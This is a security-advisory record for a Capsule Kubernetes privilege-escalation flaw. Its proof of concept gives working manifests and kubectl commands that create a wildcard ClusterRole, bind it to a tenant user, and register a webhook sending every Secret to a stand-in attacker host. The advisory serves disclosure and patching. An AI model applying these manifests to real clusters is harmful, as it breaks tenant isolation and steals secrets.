{"id":"CVE-2026-22872","aliases":["GHSA-qjjm-7j9w-pw72","GO-2026-5584"],"url":"https://o3.security/vulnerability/CVE-2026-22872","summary":"Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability","details":"# TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability\n\n\n## Summary\n\nThe Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.\n\n---\n\n## Details\n\n### Vulnerability Location\n\nFile: `internal/controllers/resources/processor.go`\nFunction: `HandleSection()`\nLines: 247-285\n\n### Core Issues\n\n1. **Excessive Controller Privileges**: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole\n   ```yaml\n   # ClusterRoleBinding: capsule-manager-rolebinding\n   roleRef:\n     kind: ClusterRole\n     name: cluster-admin\n   ```\n\n2. **Missing Resource Scope Validation**: Although the code calls `obj.SetNamespace(ns.Name)`, this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field\n\n3. **Missing Resource Type Validation**: No check for whether resources are cluster-scoped\n\n### Vulnerable Code Analysis\n\n```go\n// internal/controllers/resources/processor.go\nfor rawIndex, item := range spec.RawItems {\n    template := string(item.Raw)\n\n    t := fasttemplate.New(template, \"{{ \", \" }}\")\n    tmplString := t.ExecuteString(map[string]interface{}{\n        \"tenant.name\": tnt.Name,\n        \"namespace\":   ns.Name,\n    })\n\n    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{\"index\", rawIndex}\n\n    // Issue 1: Accepts any resource type, including cluster-scoped resources\n    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(\n        []byte(tmplString), nil, &obj); decodeErr != nil {\n        log.Error(decodeErr, \"unable to deserialize rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, decodeErr)\n        continue\n    }\n\n    // Issue 2: For cluster-scoped resources, this setting is ignored by API\n    obj.SetNamespace(ns.Name)\n\n    // Issue 3: Controller creates with cluster-admin privileges, no scope check\n    if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {\n        log.Info(\"unable to sync rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, rawErr)\n    }\n}\n```\n\n### Attack Chain\n\n```\nTenant Owner (bob) - Has TenantResource creation permission\n  ↓\nCreates TenantResource containing cluster-scoped resources\n  ↓\nCapsule Controller (cluster-admin) processes RawItems\n  ↓\nobj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)\n  ↓\nSuccessfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)\n  ↓\nCross-tenant privilege escalation / Cluster-level attacks\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nTest Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)\n\n#### Step 1: Verify Capsule Controller Privileges\n\n```bash\nkubectl get clusterrolebinding capsule-manager-rolebinding -o yaml\n```\n\nConfirm output contains:\n```yaml\nroleRef:\n  kind: ClusterRole\n  name: cluster-admin  # Controller has full cluster management privileges\n```\n\n#### Step 2: Install Capsule and Create Test Tenant\n\nComplete Capsule installation and tenant creation following previous environment setup steps.\n\n#### Step 3: Verify bob's Permission Restrictions\n\n**Verify bob can create TenantResource:**\n```bash\nkubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1\n```\n\nActual output:\n```\nyes\n```\n\n**Verify bob cannot create ClusterRole:**\n```bash\nkubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'\n\nno\n```\n\n**Verify bob cannot create ValidatingWebhook:**\n```bash\nkubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'\n\nno\n```\n\n### Attack Vector 1: Creating Malicious ClusterRole\n\n#### Step 4: Create TenantResource Containing ClusterRole\n\nCreate file `attack-clusterrole.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-clusterrole\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: rbac.authorization.k8s.io/v1\n          kind: ClusterRole\n          metadata:\n            name: malicious-clusterrole\n          rules:\n          - apiGroups: [\"*\"]\n            resources: [\"*\"]\n            verbs: [\"*\"]\n```\n\nApply configuration **as bob user** (critical - must specify executor):\n\n```bash\nkubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-clusterrole created\n```\n\n**Important**: The `--as bob --as-group projectcapsule.dev` parameters are crucial for proving that bob (not the cluster admin) is executing this attack.\n\n#### Step 5: Verify ClusterRole Creation\n\n```bash\nkubectl get clusterrole malicious-clusterrole\n```\n\nActual output:\n```\nNAME                    CREATED AT\nmalicious-clusterrole   2026-01-05T16:10:02Z\n```\n\nView details:\n\n```bash\nkubectl get clusterrole malicious-clusterrole -o yaml\n```\n\nKey output:\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  annotations:\n    capsule.clastix.io/tenant: tenant-b\n  name: malicious-clusterrole\nrules:\n- apiGroups: [\"*\"]\n  resources: [\"*\"]\n  verbs: [\"*\"]\n```\n\n**Verification Successful**: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.\n\n#### Step 6: Exploit ClusterRole for Cross-Tenant Attack\n\nNow bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: bob-cluster-admin\nsubjects:\n- kind: User\n  name: bob\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: malicious-clusterrole\n  apiGroup: rbac.authorization.k8s.io\n```\n\nAfter applying, bob will have full cluster management privileges and can access resources of all tenants.\n\n### Attack Vector 2: Creating Malicious ValidatingWebhook\n\n#### Step 7: Create TenantResource Containing Webhook\n\nCreate file `attack-webhook.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-webhook\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: admissionregistration.k8s.io/v1\n          kind: ValidatingWebhookConfiguration\n          metadata:\n            name: malicious-webhook\n          webhooks:\n          - name: malicious.webhook.com\n            clientConfig:\n              url: \"https://attacker-controlled-server.com/webhook\"\n            rules:\n            - operations: [\"CREATE\", \"UPDATE\"]\n              apiGroups: [\"\"]\n              apiVersions: [\"v1\"]\n              resources: [\"secrets\"]\n            admissionReviewVersions: [\"v1\"]\n            sideEffects: None\n            failurePolicy: Ignore\n```\n\nApply configuration **as bob user**:\n\n```bash\nkubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-webhook created\n```\n\n#### Step 8: Verify Webhook Creation\n\n```bash\nkubectl get validatingwebhookconfiguration malicious-webhook\n```\n\nActual output:\n```\nNAME                WEBHOOKS   AGE\nmalicious-webhook   1          5s\n```\n\n**Verification Successful**: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.\n\n#### Step 9: Exploit Webhook to Steal Sensitive Data\n\nAt this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:\n\n1. Steal Secret data from all tenants (database passwords, API keys, etc.)\n2. Modify Secret contents\n3. Deny legitimate Secret creation requests, achieving DoS attacks\n\n---\n\n## Impact\n\n### Affected Scope\n\nThis vulnerability affects all Capsule deployments with the following prerequisites:\n1. Capsule Controller runs with cluster-admin privileges (default configuration)\n2. Tenant Owner has permission to create TenantResource\n\n### Security Impact\n\n1. **Cross-Tenant Privilege Escalation**\n   - Create ClusterRole to gain cluster-level privileges\n   - Break tenant isolation boundaries\n   - Access all resources of other tenants\n\n2. **Large-Scale Sensitive Data Theft**\n   - Intercept all Secret creation/update requests through malicious Webhook\n   - Steal passwords, API keys, certificates, etc. across the entire cluster\n   - Real-time monitoring of all tenant sensitive operations\n\n3. **Cluster-Level Denial of Service**\n   - Deny all API requests through Webhook\n   - Make the entire cluster unavailable\n   - Impact all tenants\n\n4. **Cluster Pollution**\n   - Create malicious CRDs\n   - Modify StorageClass\n   - Impact cluster stability\n\n5. **Persistent Backdoor**\n   - Created cluster-scoped resources persist\n   - Even if TenantResource is deleted, ClusterRole and other resources remain\n   - Difficult to detect and remove\n\n\n### Limiting Factors\n\n1. Requires Tenant Owner privileges\n2. Requires Capsule Controller running with cluster-admin privileges (default configuration)\n3. Some clusters may have additional admission controllers blocking malicious resources","published":"2026-06-01T17:42:38.376Z","modified":"2026-08-12T03:51:13.752983321Z","cvss":null,"epss":{"score":0.0068,"percentile":0.50714,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/projectcapsule/capsule","fixedVersion":"0.13.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22872.json"},{"type":"ADVISORY","url":"https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22872"},{"type":"PACKAGE","url":"https://github.com/projectcapsule/capsule"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:13.752983321Z"}}